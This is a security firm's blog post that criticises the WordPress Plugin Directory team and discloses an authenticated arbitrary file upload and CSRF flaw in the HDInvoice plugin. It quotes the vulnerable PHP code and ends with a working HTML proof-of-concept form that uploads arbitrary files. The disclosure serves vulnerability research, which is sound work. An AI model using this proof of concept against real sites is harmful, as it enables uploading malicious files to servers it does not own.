The WordPress Plugin Directory Team Should Spend Their Time Avoiding Issues Like This Instead of Acting Inappropriately as Forum Moderators
On day two of our doing full disclosures of WordPress plugin vulnerabilities until the inappropriate handling of the moderation of the WordPress Support Forum is cleaned up we disclosed a couple of easily spottable exploitable vulnerabilities that were in brand new plugins. As we noted then that shouldn’t be happening since there is supposed to be a manual security review as part of larger manual review of new plugins before they are allowed in the Plugin Directory. Either these reviews are not happening, which seems possible (for a number of reasons), or the security review is a failure at a basic level. If it is the latter we have offered to help improve the process, but we have never been taken up on that.
Part of the problem in all this could be that there are only six people on the team that handles everything related to the Plugin Directory, which seems far too low. They have claimed for at least year that there are unexplained technical issues preventing them from being able to bring on more people, which sounds rather odd. For two of the members, though while they don’t seem time to have made sure new plugins don’t introduce those vulnerabilities they do have time to act inappropriately in their role as a moderator of the Support Forum, in some instances in way that gets in the way of actually discussing fixing problems they have allowed to fester. That seems like a good reason for them to resign at least from their role as a moderator.
The other day yet another plugin got introduced with a vulnerability that should have been caught as it is a variant of a vulnerability likely to be exploited by hackers, even when almost no one is using a plugin with that type of vulnerability.
As part of our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities before they are exploited, we picked up the plugin HDInvoice being introduced with the possibility of an arbitrary file upload vulnerability based on this line of code:
13 | if (!move_uploaded_file($_FILES['hdv_file_upload']['tmp_name'], $hdv_upload_dir.sanitize_text_field($_FILES['hdv_file_upload']['name']))) { |
That is something that is picked up by our Plugin Security Checker and we have offered to provide the Plugin Directory free access to the more advanced mode of that, which would make picking up this sort of thing easy.
Looking at the code around it we could see that when the file /includes/templates/import.php is loaded from the context of WordPress it would allow uploading files without any restrictions:
6 7 8 9 10 11 12 13 14 | $hdv_dashboard = get_option('hdv_dashboard'); $csvFile = ""; //if a CSV was uploaded if (isset($_FILES["hdv_file_upload"])) { $upload_dir = wp_upload_dir(); $hdv_upload_dir = $upload_dir['basedir'] .'/hdinvoice/'; wp_mkdir_p($hdv_upload_dir); if (!move_uploaded_file($_FILES['hdv_file_upload']['tmp_name'], $hdv_upload_dir.sanitize_text_field($_FILES['hdv_file_upload']['name']))) { die('Error uploading file - check destination is writeable.'); |
We then checked were the file would be loaded and found one place was in the function hdv_view_import():
132 133 134 135 | function hdv_view_import() { if (current_user_can('edit_others_pages')) { include(dirname(__FILE__).'/../templates/import.php'); |
For it to load there the request has to come from someone logged in to WordPress with the “edit_others_pages” capability, which is normally restricted to Editor and Administrator level users.
That function in turn runs when visiting the plugin’s admin page with the GET input “import” set to true:
132 133 134 | if (isset($_GET['import']) && !empty($_GET['import'])) { if ($_GET['import'] == "true") { hdv_view_import(); |
That page is accessible by Editor level users, so you have an authenticated arbitrary file upload vulnerability (Administrators are usually permitted to do the equivalent of this vulnerability, so them being able to do it wouldn’t be a vulnerability). Since there is no protection against cross-site request forgery (CSRF) in any of that code, the vulnerability is also exploitable through that.
Proof of Concept
The following proof of concept will upload the selected file to the directory /wp-content/uploads/hdinvoice/, when logged in to WordPress as an Editor.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/hdinvoice/?import=true" method="POST" enctype="multipart/form-data"> <input type="file" name="hdv_file_upload" /> <input type="submit" value="Submit" /> </form> </body> </html>